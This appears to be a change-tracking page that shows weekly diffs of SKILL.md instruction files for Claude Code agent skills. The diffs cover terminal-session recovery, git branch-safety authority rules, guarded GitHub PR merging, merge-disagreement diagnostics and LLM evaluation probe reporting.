+ 44 [terminal-session recovery recipe](https://github.com/daymade/claude-code-skills/blob/main/daymade-claude-code/read-codex-history/references/terminal-session-recovery.md).
+ 52 | Snapshot looks too large, or "which sessions were active after <time>?" | Follow [time-window selection](references/session_liveness.md#select-recovery-candidates-by-a-time-window) before choosing a restore set |
- 36 | Minions `native_runtime` session or managed account-adoption error | Do not use the manual switch route; use the owning Account Manager's native session flow |
- 37 | Unmanaged/legacy Codex quota running out; manually switching account, keeping all Codex work | Read codex-account-switch.md; `switch-prepare [--only <unmanaged-uuid>...]` → manual exit/login → `switch-restore` |
- 38 | After a switch, want the same sessions back ("换号后恢复原会话"); opening blocked or delegated | Same SOP's original-set route: deliver the fixed manifest's exact per-SID commands with per-item status; a blank tab is not a recovery |
+ 54 | Minions `native_runtime` session or managed account-adoption error | Follow [account-owner selection](references/codex-account-switch.md#choose-the-account-owner-first) |
+ 55 | Unmanaged/legacy Codex quota running out; manually switching account, keeping all Codex work | Start with [account-owner selection](references/codex-account-switch.md#choose-the-account-owner-first) |
+ 56 | After a switch, want the same sessions back ("换号后恢复原会话"); opening blocked or delegated | Follow [the original-set recovery route](references/codex-account-switch.md#reopen-the-original-recorded-set-not-a-blank-session) |
- 42 Preserve unmanaged/legacy Ghostty Codex sessions before the user manually switches
- 43 ChatGPT accounts, then reopen the original session IDs in one batch. Exclude Claude
- 44 Code and Minions `native_runtime` sessions; those managed rows use the owning Account
- 45 Manager, not this route's manual logout/login or batch restore.
- 46 Read [codex-account-switch.md](references/codex-account-switch.md) before this route.
- 47 Use `scripts/ghostty_session.py switch-prepare` and `switch-restore`; the bundled
- 48 `scripts/ghostty_switch.py` owns fixed-manifest selection, account/process checks,
- 49 duplicate-safe retries and separate authentication reporting.
- 50 If login already changed before capture, use the explicit `switch-restore
- 51 --after-login` branch. For a controlled exit sequence including the executing
- 52 session, use `switch-plan --current-session <full-uuid>` first; it defers that
- 53 session until an independent executor exists. Save its recovery inputs outside the
- 54 exiting terminal with `switch-handoff`, then recheck them with
- 55 `switch-handoff-check`; these commands preserve the host-adapter gap rather than
- 56 authorize an exit. The reference specifies the exact commands and durable
- 57 literal-control receipt.
- 58 
- 59 ```bash
- 60 python3 <skill-dir>/scripts/ghostty_session.py switch-prepare
- 61 # Mixed managed/unmanaged inventory: capture only the eligible unmanaged/legacy UUIDs.
- 62 python3 <skill-dir>/scripts/ghostty_session.py switch-prepare --only <unmanaged-uuid> [...]
- 63 # User: finish work, exit the saved Codex TUIs and manually switch account.
- 64 python3 <skill-dir>/scripts/ghostty_session.py switch-restore
- 65 ```
- 66 
- 67 Default to tabs in one window; use `--layout windows` only when independent windows are requested.
- 68 Keep the printed fixed manifest through the handoff. Treat unresolved capture,
- 69 unverified original processes and missing sessions as incomplete. Recovery means
- 70 reopening the fixed manifest's original IDs; when reopening is blocked or
- 71 delegated (kept old processes, user-managed locks, denied UI automation), follow
- 72 [the original-set route](references/codex-account-switch.md#reopen-the-original-recorded-set-not-a-blank-session)
- 73 and deliver the complete exact per-session commands with per-item status — a
- 74 blank tab is never a recovery. Mode selection,
- 75 account preconditions and partial-restore readiness belong to
- 76 [the switch SOP](references/codex-account-switch.md). Never send process-termination
- 77 signals or switch credentials through this route; normal local exit controls use
- 78 that SOP's authorized-host protocol. Apply the foreground
- 79 conditions above before actual opening; ask only when that handoff is missing. `--dry-run` and `--check`
- 80 remain read-only. Distinguish reopened IDs from new-account requests that worked:
- 81 the script reports authentication as `not_checked` and sends no test prompt.
+ 60 Start with [account-owner selection](references/codex-account-switch.md#choose-the-account-owner-first).
+ 61 For the selected independent-TUI workflow, follow
+ 62 [save before switching](references/codex-account-switch.md#save-before-switching)
+ 63 and [restore or resume the batch](references/codex-account-switch.md#restore-and-resume-an-interrupted-batch).
+ 64 For blocked or delegated reopening, follow
+ 65 [the original-set route](references/codex-account-switch.md#reopen-the-original-recorded-set-not-a-blank-session).
+ 66 Keep command examples, handoff, authorization and acceptance in that SOP.
+ 67 Implementation: [ghostty_switch.py](scripts/ghostty_switch.py).
+ 70 
+ 71 Before reopening sessions, follow
+ 72 [current-set reconciliation](references/restore_mechanics.md#reconcile-the-current-wanted-set).
+ 73 Keep the same explicit manifest and selection through preview, restore and check.
- 89 # After restart (from any directory; needs Accessibility permission for keystrokes):
- 90 python3 <skill-dir>/scripts/ghostty_session.py restore        # manual: active only; automatic: full recorded set
- 91 python3 <skill-dir>/scripts/ghostty_session.py restore --all  # include waiting/quota/dead/stale/unknown records
+ 79 # After selecting the wanted set, preview it before any foreground input:
+ 80 python3 <skill-dir>/scripts/ghostty_session.py restore --snapshot <manifest.json> --all --dry-run
+ 81 # Carry the selected --only/--exclude options into this preview, then omit --dry-run to execute.
+ 84 Without `--all`, manual manifests select active sessions only; automatic manifests
+ 85 select their recorded set. Use `--all` to include waiting/quota/dead/stale/unknown rows.
+ 86 
- 95 The report accounts for every live TUI: captured sessions plus an `unresolved`
- 96 section for fresh tabs that have no transcript yet — a session count lower than
- 97 the tab count is explained there, not silently lost.
+ 88 Manual snapshots record Ghostty process descendants only. They persist resumable
+ 89 AI `sessions`, `unresolved` TUIs, `other_terminals` with cwd/process evidence, and
+ 90 the observed `terminal_inventory`. Other terminal emulators are excluded.
+ 91 Treat a TTY as a terminal surface, not a tab: splits and window membership are
+ 92 unknown. If the user supplies a tab count, record it with `snapshot --expected-tabs <N>`;
+ 93 do not use matching session/TTY totals as proof of current-window coverage.
+ 94 State the unmapped window/tab boundary before the update. An empty observation
+ 95 refuses to replace the previous backup. Non-AI commands and unresolved argv are
+ 96 evidence, not instructions to execute automatically.
+ 102 Repeat current-set reconciliation after a manual handoff or any change in selection.
+ 103 After process reconciliation, follow [history-readiness acceptance](references/restore_mechanics.md#verify-history-readiness-after-process-reconciliation)
+ 104 before claiming that the selected conversations are ready to read.
- 107 or operating `scripts/ghostty_watch.py`. It saves only changed restore state and
- 108 keeps all prior versions. Unchanged
- 109 rounds write no snapshot or routine log. Automatic manifests cover Ghostty
- 110 process descendants without transcript reads; their liveness is explicitly unknown
- 111 and `restore` selects the whole recorded set. UUID-less TUIs remain unresolved in
- 112 automatic manifests — the watcher's bounded scan deliberately reads no transcripts;
- 113 manual snapshot/check/restore resolve them (see the anchor bullet below).
- 114 Partial observations preserve prior missing IDs conservatively. The watcher never

This preview is limited. See the complete change on GitHub.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

git-safety-net/SKILL.md

Week of Nov 2, 2026 · +43 / −22 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

+ 37 - **Resolve authority from the current request and applicable standing user instructions.**
+ 38    Authority for any action under this Skill is the current request read together with the standing
+ 39    user instructions that apply to this task (for example, a standing instruction that a task ends
+ 40    with checks, commit, publication, readback, and retiring that task's own temporary
+ 41    branches/worktrees). Later user restrictions still control. Splitting the work into phases alone
+ 42    does not revoke authority the task already carries: when the task already includes retiring its exact temporary resources, complete Mode E
+ 43    within that same task — a new task or fresh confirmation solely for entering retirement is a
+ 44    re-ask, not a gate. Mode E's evidence, preservation, and readback gates still apply in full.
+ 45    A merge alone still does not authorize extra targets, and targets the task's authority does not
+ 46    name stay report-only until separately authorized.
- 147    counts for the *nearest* content check is not enough: in one audit, three successive
+ 157    counts for the *nearest* content check is not enough: in one audit, successive
- 151    files by 5×**), and a file-level existence check (a file present on base can still be missing
+ 161    files**), and a file-level existence check (a file present on base can still be missing
- 339 (in memory, no checkout) and only reports content containment when that merge changes nothing — so a
+ 349 (without checkout) and only reports content containment when that merge changes nothing — so a
- 354 repo of branches, the read-only fan-out pattern — one agent per batch, each told to *falsify*
+ 364 repo of branches, the verification fan-out pattern — one agent per batch, each told to *falsify*
- 374   (§ Shared checkout and concurrent sessions: one writer — also governs the two "parallel session"
- 375   bullets below, and now also covers finding an unidentified writer by process evidence rather
+ 384   (§ Shared checkout and concurrent sessions: one writer — also governs the "parallel session"
+ 385   bullets below and covers finding an unidentified writer by process evidence rather
+ 391 - **Failed fast-forward or partially synchronized checkout:** follow
+ 392   [Guarded checkout recovery](references/prevention_practices.md#guarded-checkout-recovery).
- 395   lease for automation under this generic Skill. Retire refs or checkouts only through separately
- 396   authorized Mode E evidence. (§ Known automated writers are not session-owned WIP.)
+ 407   lease for automation under this generic Skill. Retire refs or checkouts only through Mode E
+ 408   evidence, with authority resolved per the authority definition in the Outcome contract above.
+ 409   (§ Known automated writers are not session-owned WIP.)
- 421   back. Branch deletion remains a separately authorized Mode E action.
+ 434   back. Branch deletion remains a Mode E action, with authority resolved per the authority
+ 435   definition in the Outcome contract above; a merge or handoff does not itself authorize it.
- 456   and why the two obvious "did their work survive?" probes return the wrong answer, in **A foreign
+ 470   and why the "did their work survive?" probes return the wrong answer, in **A foreign
- 511   `D ` lines in `git status`. Two obligations follow. **Whoever advanced the branch past the index
+ 525   `D ` lines in `git status`. **Whoever advanced the branch past the index
- 529 Start from the Outcome contract. For an exhaustive audit or unknown target, run checkout discovery;
+ 543 Start from the [Outcome contract](#outcome-contract--keep-the-safety-net-subordinate-to-the-users-job), including its authority definition.
+ 544 For an exhaustive audit or unknown target, run checkout discovery;
- 535 and targeted exports instead:
+ 550 and targeted exports instead. Preserve the original authorized outcome when a batch finishes:
+ 551 unreviewed refs and unlanded keeper changes remain unfinished even after its worktrees or backup
+ 552 have been handled.
- 543    `scripts/git_classify_refs.sh` runs this exact rung across every branch in one offline pass.
+ 560    `scripts/git_classify_refs.sh` runs this exact rung in one offline pass. For a selected or
+ 561    delegated batch, use its `--expected-common-dir` and `--target-manifest` binding from
+ 562    [the frozen-snapshot recipe](references/merge_verification.md#1-freeze-the-outcome-and-the-first-ref-snapshot).
+ 563    Read the actual coverage and unresolved rows, not just exit 0: this is a classification report,
+ 564    not proof that keeper content reached main or that authorized cleanup finished.
- 615   current-session deletion authority. As the final pre-remove gate, re-run the empty status and
+ 636   deletion authority per the authority definition in the Outcome contract above. As the final
+ 637   pre-remove gate, re-run the empty status and
- 625   primary/current checkout; retire its branch only as a separate,
- 626   separately authorized action. Follow
+ 647   primary/current checkout; retire its branch only as a separate action under the authority
+ 648   definition in the Outcome contract above. Follow
- 735 | `scripts/git_verify_branch_merged.sh <branch> [base] [--no-fetch] [--base REF] [--merge-commit SHA]` | Give a content-level MERGED/UNMERGED verdict for one branch. `--merge-commit` adds a rung that proves containment at a historical merge commit when base later changed the same lines and the CURRENT base can no longer prove it; the verdict also names the current-base shape (conflict = routine, clean-but-changes = regression candidate). `--no-fetch`/`--base` support offline and flag-driven batch use | Remote-tracking refs only (skipped entirely with `--no-fetch`) |
- 736 | `scripts/git_classify_refs.sh --base SHA [--pr-map JSON] [--all-namespaces]` | Batch version of the above: classify every local/remote-tracking branch against one frozen base in a single offline pass (ancestor / content-contained / needs-review, with file-count-changed); `--pr-map` overlays the `--merge-commit` rung from a hosting platform's PR export | Nothing (read-only, no fetch — pin the base with `git rev-parse` first) |
+ 757 | `scripts/git_verify_branch_merged.sh <branch> [base] [--no-fetch] [--base REF] [--merge-commit SHA]` | Give a content-level MERGED/UNMERGED verdict for one branch. `--merge-commit` adds a rung that proves containment at a historical merge commit when base later changed the same lines and the CURRENT base can no longer prove it; the verdict also names the current-base shape (conflict = routine, clean-but-changes = regression candidate). `--no-fetch`/`--base` support offline and flag-driven batch use | Remote-tracking refs unless `--no-fetch`; trial merges can write unreferenced Git objects in either mode |
+ 758 | `scripts/git_classify_refs.sh --base SHA [--pr-map JSON] [--all-namespaces]` | Batch content classification; bind a selected set with `--expected-common-dir PATH --target-manifest TSV` to reject another clone or missing/moved tips and report full OIDs plus coverage. Classification success does not establish convergence. `--pr-map` retains the historical-merge rung. | Trial merges can write unreferenced Git objects; no fetch or changes to refs, index or working files; no ownership or deletion authority |
- 746 Only `git_find_all_checkouts.sh` is repository-read-only and safe beside read-only agents; it never
- 747 fetches, so it also works offline and behind a proxy. Any helper that fetches, writes backup state,
- 748 or adds refs runs only after existing coordination transfers exclusive writer ownership. None of
+ 768 Any helper that fetches, writes backup state,
+ 769 adds refs, or creates trial-merge objects runs only after existing coordination transfers exclusive writer ownership. None of

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

github-contributor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

github-ops/SKILL.md

Week of Nov 2, 2026 · +8 / −2 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

- 4   Operates GitHub via gh CLI and REST/GraphQL — PRs, issues, Actions, repos, collaborators, org
+ 4   Operates GitHub via gh CLI and REST/GraphQL — PRs, issues, Actions, self-hosted Runner inventory/capacity, repos, collaborators, org
+ 115 For PR merges, use the checked `pr merge` entry with an explicit PR and full
+ 116 `--match-head-commit`. It checks the live head and effective approval/merge state.
+ 117 Raw REST and GraphQL PR merge writes are rejected: an eligible actor can otherwise
+ 118 use bypass privileges without an `--admin` argument. Follow the
+ 119 [merge and explicit-bypass contract](references/pr_operations.md#merging-prs).
- 123 the same helper; do not bypass the actor check. A failed or timed-out invocation
+ 128 the same helper, except PR merge writes, which stay on the guarded `pr merge`
+ 129 entry. Do not bypass the actor check. A failed or timed-out invocation

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

github-review-pr/SKILL.md

Week of Nov 2, 2026 · +44 / −1 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

- 192 them for local three-way analysis.
+ 192 them for local three-way analysis, or use a local clean result to override a hosted
+ 193 merge refusal. Reconcile disagreement through the diagnostic below.
+ 298 
+ 299 #### When local and hosted merge results disagree
+ 300 
+ 301 The reviewing agent runs this diagnostic when local three-way analysis is clean but
+ 302 GitHub reports `CONFLICTING`/`DIRTY`, or the reverse. Ordinary matching results do not
+ 303 require a second merge. Preserve both observations; green CI tests a candidate, not
+ 304 whether the host can merge it.
+ 305 
+ 306 1. Re-read the hosted head and independently resolved live base, then verify the local
+ 307    objects match both full OIDs. Recompute changed inputs first; different snapshots
+ 308    do not establish a difference in merge semantics.
+ 309 2. Inspect the affected paths' effective `merge` attributes with `git check-attr merge
+ 310    -- <paths>`, the relevant `.gitattributes` at both tips, `.git/info/attributes`, and
+ 311    attribute/config sources (`core.attributesFile`, `merge.default`, and
+ 312    `merge.<driver>.driver`/`recursive`). Record the checkout/attribute context and Git
+ 313    version used by the original local merge. Inspect driver commands before executing
+ 314    them: a PR-controlled driver is untrusted code. Repository attributes and locally
+ 315    configured drivers can produce semantics different from the hosted merge.
+ 316 3. Counter-test the same OIDs with the suspected driver replaced by ordinary text
+ 317    merging for that invocation only. For an effective `merge=union`, use:
+ 318 
+ 319    ```bash
+ 320    git -c 'merge.union.driver=git merge-file %A %O %B' \
+ 321      -c merge.union.recursive=text \
+ 322      merge-tree --write-tree --messages "$CURRENT_BASE_SHA" "$HEAD_SHA"
+ 323    ```
+ 324 
+ 325    This replaces only the named `union` driver; it is not a full GitHub emulator.
+ 326    Adapt the override to each inspected nonstandard driver involved; retain binary
+ 327    paths' intended semantics. Save both exit codes, tree OIDs and conflict paths/stages.
+ 328    A counter-test's nonzero tree is conflict evidence, never a landable tree.
+ 329 4. If the counter-test exposes a conflict hidden by local drivers, explain that
+ 330    concrete difference and inspect the conflicting contents. If it stays clean,
+ 331    keep the hosted discrepancy unresolved until a bounded fresh hosted read or other
+ 332    evidence explains it; do not declare a cache fault from `DIRTY` alone. Stop repeated
+ 333    archive/review/CI or branch-update cycles that add no evidence about the mismatch.
+ 334 
+ 335 Keep configuration, protections and published history unchanged during diagnosis.
+ 336 Only an already-authorized repair may resolve and integrate the actual conflict;
+ 337 then recheck the resulting exact head/live base and required checks. Reuse unaffected
+ 338 evidence under the repository's policy. A local clean result alone never grants a
+ 339 merge bypass or branch-update permission.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

github-sensitive-data-cleanup/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

i18n-expert/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

ima-copilot/SKILL.md

Week of Nov 2, 2026 · +9 / −45 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

- 15 ## Overview
- 16 
- 17 The official Tencent IMA skill (ima-skill) exposes a powerful OpenAPI for notes and knowledge base operations, but its installation flow is designed for a specific proprietary agent and recent releases have shipped submodule files that fail strict SKILL.md loaders. IMA Copilot solves both problems:
- 18 
- 19 1. Installs ima-skill to Claude Code, Codex, and OpenClaw in a single command via the [vercel-labs/skills](https://github.com/vercel-labs/skills) open installer.
- 20 2. Walks the user through API key setup with a live validation call.
- 21 3. Detects known upstream issues and — with explicit user consent — fixes them in place, without ever forking, vendoring, or mirroring any part of the upstream package.
- 22 4. Provides a fan-out search strategy that respects user-configured knowledge base priorities and boosts, with awareness of the 100-result per-KB truncation limit.
- 23 
- 37 | 1. Install upstream ima-skill to 3 agents | `scripts/install_ima_skill.sh` | See `references/installation_flow.md` |
+ 28 | 1. Install upstream ima-skill to supported agents | `scripts/install_ima_skill.sh` | See `references/installation_flow.md` |
- 68 The script auto-detects which of the three target agents are installed on the user's machine. For agents that are not present, it skips silently rather than installing anywhere the user hasn't opted in. For agents that are present, it installs globally (`-g`) in vercel skills' default symlink mode: the first detected agent's directory becomes the canonical copy, and the remaining agents are symlinked to it. This means a repair or an upgrade applied once propagates automatically to every agent — `diagnose.sh` detects this sharing and dedupes its reports so you don't see the same issue multiple times.
+ 59 The script auto-detects which target agents are installed on the user's machine. For agents that are not present, it skips silently rather than installing anywhere the user hasn't opted in. For agents that are present, it installs globally (`-g`) in vercel skills' default symlink mode: the first detected agent's directory becomes the canonical copy, and the remaining agents are symlinked to it. This means a repair or an upgrade applied once propagates automatically to every agent — `diagnose.sh` detects this sharing and dedupes its reports so you don't see the same issue multiple times.
- 80 Environment variables `IMA_OPENAPI_CLIENTID` and `IMA_OPENAPI_APIKEY` act as fall-back overrides — the wrapper reads the environment first, then the config file.
+ 71 Environment variables `IMA_OPENAPI_CLIENTID` and `IMA_OPENAPI_APIKEY` take precedence; missing values fall back to the config files.
- 106 ✅ API credentials valid (search_knowledge_base returned 12 KBs)
+ 97 ✅ API credentials valid (search_knowledge_base returned <count> KBs)
- 143 Every repair is **temporary in the sense that ima-skill upgrades replace everything**. This is by design: the skill does not fight upstream for persistent state. When the user upgrades ima-skill via Capability 1, Step 4 of diagnose will again flag the fixed issue, and the user can rerun the repair. This is a feature, not a bug — if upstream eventually fixes the issue, the repair becomes unnecessary and `diagnose.sh` will report ✅ with no prompt.
+ 134 Upgrading ima-skill can replace local repairs. After an upgrade, rerun `diagnose.sh` and follow the existing repair workflow only for issues that return. If upstream has fixed the issue, diagnosis reports it healthy and no repair is needed.
- 147 IMA's OpenAPI has three hard constraints that any serious search workflow must account for:
- 148 
- 149 1. **No cross-knowledge-base endpoint.** `search_knowledge` requires a single `knowledge_base_id` per call. Cross-KB search is a client-side fan-out, not an API feature.
- 150 2. **No relevance score in results.** `info_list` items only carry `media_id`, `title`, `parent_folder_id`, and `highlight_content`. Any ranking beyond insertion order must happen on the client.
- 151 3. **Silent 100-result truncation.** `search_knowledge` returns at most 100 hits per KB with no `is_end` or `next_cursor` field in the response. High-frequency queries are silently capped.
- 152 
- 153 `scripts/search_fanout.py` implements the full workaround:
+ 138 Follow [the search workflow](references/search_best_practices.md) for API constraints,
+ 139 enumeration, ranking, permissions and truncation handling. Run its bundled helper:
- 159 The script reads `~/.config/ima/copilot.json` for personalization (priority KBs, skip list, strategy), calls `search_knowledge_base` to enumerate KBs, fans out `search_knowledge` calls in parallel, detects truncation by exact-100 length match, and renders results grouped by KB with priority groups at the top.
- 160 
- 163 For the full algorithm, truncation handling strategy, rendering format, and a walkthrough of the evidence-based decision to allow a "subset KB skip" (e.g., a curated KB that is a strict subset of a master KB can be safely skipped to reduce duplicate hits), read `references/search_best_practices.md`.
+ 147 For knowledge-base listing parameter errors, use the search workflow's
+ 148 “Knowledge-base enumeration” procedure before diagnosing authentication or access.
- 171 - **Never vendor upstream content.** This directory does not contain and will never contain a copy of `ima-skill/SKILL.md`, `ima-skill/notes/**`, `ima-skill/knowledge-base/**`, or any other upstream file. Anyone adding such files to this skill should be rejected.
- 173 - **Never silently patch upstream files.** Every modification path requires an explicit AskUserQuestion and the user's active choice.
- 176 
- 177 ## File layout
- 178 
- 179 ```
- 180 ima-copilot/
- 181 ├── SKILL.md                         # This file — entry and routing
- 182 ├── scripts/
- 183 │   ├── install_ima_skill.sh         # Download → stage → npx skills add to 3 agents
- 184 │   ├── diagnose.sh                  # Read-only health report
- 185 │   └── search_fanout.py             # Fan-out search with priority grouping
- 186 ├── references/
- 187 │   ├── installation_flow.md         # Capability 1 deep dive
- 188 │   ├── api_key_setup.md             # Capability 2 deep dive
- 189 │   ├── known_issues.md              # Issue registry — source of truth for repairs
- 190 │   ├── search_best_practices.md     # Capability 4 deep dive
- 191 │   └── import_and_extract.md        # Capability 5 deep dive
- 192 └── config-template/
- 193     └── copilot.json.example         # Template for ~/.config/ima/copilot.json
- 194 ```

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

kimi-use/SKILL.md

Week of Nov 2, 2026 · +8 / −2 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

- 15 ## 先按交付物选模式
+ 15 ## 先选择执行分支
+ 16 
+ 17 用 kimi-cu 操作 macOS 应用时,先读 [通用桌面操作法](references/kimi-cu-desktop-automation.md),按当前应用自身的任务合同执行。只使用通用桌面分支的任务到该参考继续;下文 Kimi.app 的模式/模型、插件调用、计费与取数权威源复核不适用于其它应用的消息或报告读取。
+ 18 
+ 19 需要 Kimi.app 官方插件或 Chat 深度研究时,再进入下方业务分支。
+ 20 
+ 21 ## 在 Kimi.app 内按交付物选模式
- 46 | **用 kimi-cu 驱动任意 macOS 桌面应用**(Electron / webview / 原生;表单填写、弹窗、前台化、AX 树恢复) | **`references/kimi-cu-desktop-automation.md`**——可靠性分层与操作配方,与 Kimi.app 业务无关、可独立使用 |
+ 52 | **用 kimi-cu 驱动任意 macOS 桌面应用**(Electron / webview / 原生;表单填写、弹窗、前台化、AX 树恢复) | **先读 `references/kimi-cu-desktop-automation.md`**——按当前工具合同绑定权限、目标、读回与重试前提,再选配方;与 Kimi.app 业务无关、可独立使用 |

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

llm-eval-harness/SKILL.md

Week of Nov 2, 2026 · +25 / −18 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

- 17 Six dimensions, usually scattered across ad-hoc scripts that get rewritten (with the
- 18 same bugs) every time:
+ 17 Choose from the following evaluation dimensions:
- 22 | **Availability** | `scripts/availability_probe.py` | which model IDs work here, with 3-state error classification |
+ 21 | **Availability** | `scripts/availability_probe.py` | which model IDs work here, with explicit error classification |
- 49 Don't run all six ritually — pick what answers the user's question.
+ 48 Run only the dimensions that answer the user's question.
- 86 (below). Pick dimensions by what the user actually asked — don't run all six if they only
- 87 asked "is it fast?".
+ 85 (below). [Select the dimensions for the task](#which-dimensions-to-run).
- 101 - Verdicts are 3-state per failure, not pass/fail: `no-channel` (no route for this
- 102   ID), `upstream-error` (route exists, upstream failing — retry later), `empty-content`
- 103   (usually a max_tokens artifact on reasoning models, NOT a broken model). The probe
- 104   keeps `--max-tokens` at 8192 by default precisely so thinking models don't read as
- 105   dead — do not "optimize" it downward.
+ 99 - Read transport, response outcome and native terminal fields separately. The probe
+ 100   reports `response_outcome` as `answered`, `refused`, `empty` or `unknown`;
+ 101   `transport_ok` means HTTP response headers arrived, not that a usable answer did.
+ 102   `refused` preserves explicit refusal/content-filter markers even when text exists;
+ 103   it does not establish model/provider unavailability. An empty `end_turn` remains
+ 104   cause-unknown; thinking characters alone do not prove token-budget exhaustion.
+ 105   `no-channel` means no route for this ID; `upstream-error` means the upstream failed
+ 106   this request. Keep the generous default `--max-tokens` rather than manufacturing
+ 107   empty replies with a tiny budget. Native `stop_reason`, `finish_reason`,
+ 108   `stop_details` and `refusal` are retained when present, including null/empty values.
+ 109   Exit 1 means at least one probe lacks a usable answer; it is not a service diagnosis.
- 128 - Four checks: `system` (canary code planted in the system prompt — can the model echo
+ 132 - Probe `system` (canary code planted in the system prompt — can the model echo
- 141   `--repeat` (default 10) and a three-state verdict (delivered / intermittent k-of-N /
+ 145   `--repeat` (default 10) and a verdict (delivered / intermittent k-of-N /
- 184 - Distinguish failure modes from the output: HTTP 429 (clean throttle, retriable) vs a TCP
- 185   drop that hangs to timeout (much worse for UX) vs 5xx. They imply very different fixes.
+ 188 - Distinguish failure modes using the status and structured error code/type. HTTP 429 can
+ 189   mean a transient rate limit or exhausted quota; retry only the former with the provider's
+ 190   backoff/reset guidance. Quota exhaustion needs entitlement/quota recovery, not a concurrency
+ 191   retry loop. A TCP drop that hangs to timeout (much worse for UX) and 5xx remain
+ 192   separate observations with different fixes.
- 222   why `--repeat` defaults to 10; generation's verdict has three states (`fully-implemented`,
- 223   `intermittent (k/N)`, `not-implemented`), history-replay's has its own three-plus states
+ 229   why `--repeat` defaults to 10; generation reports `fully-implemented`,
+ 230   `intermittent (k/N)` or `not-implemented`; history-replay reports
- 233 This is two halves on purpose: **collect**, then **judge independently**.
+ 240 **Collect**, then **judge independently**.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

llm-icon-finder/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

llm-wiki-setup/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

marketplace-health-check/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

meme-creator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

notify-wecom/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

openclaw/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

openclaw-model-switch/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

peer-message/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

product-analysis/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

product-growth/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

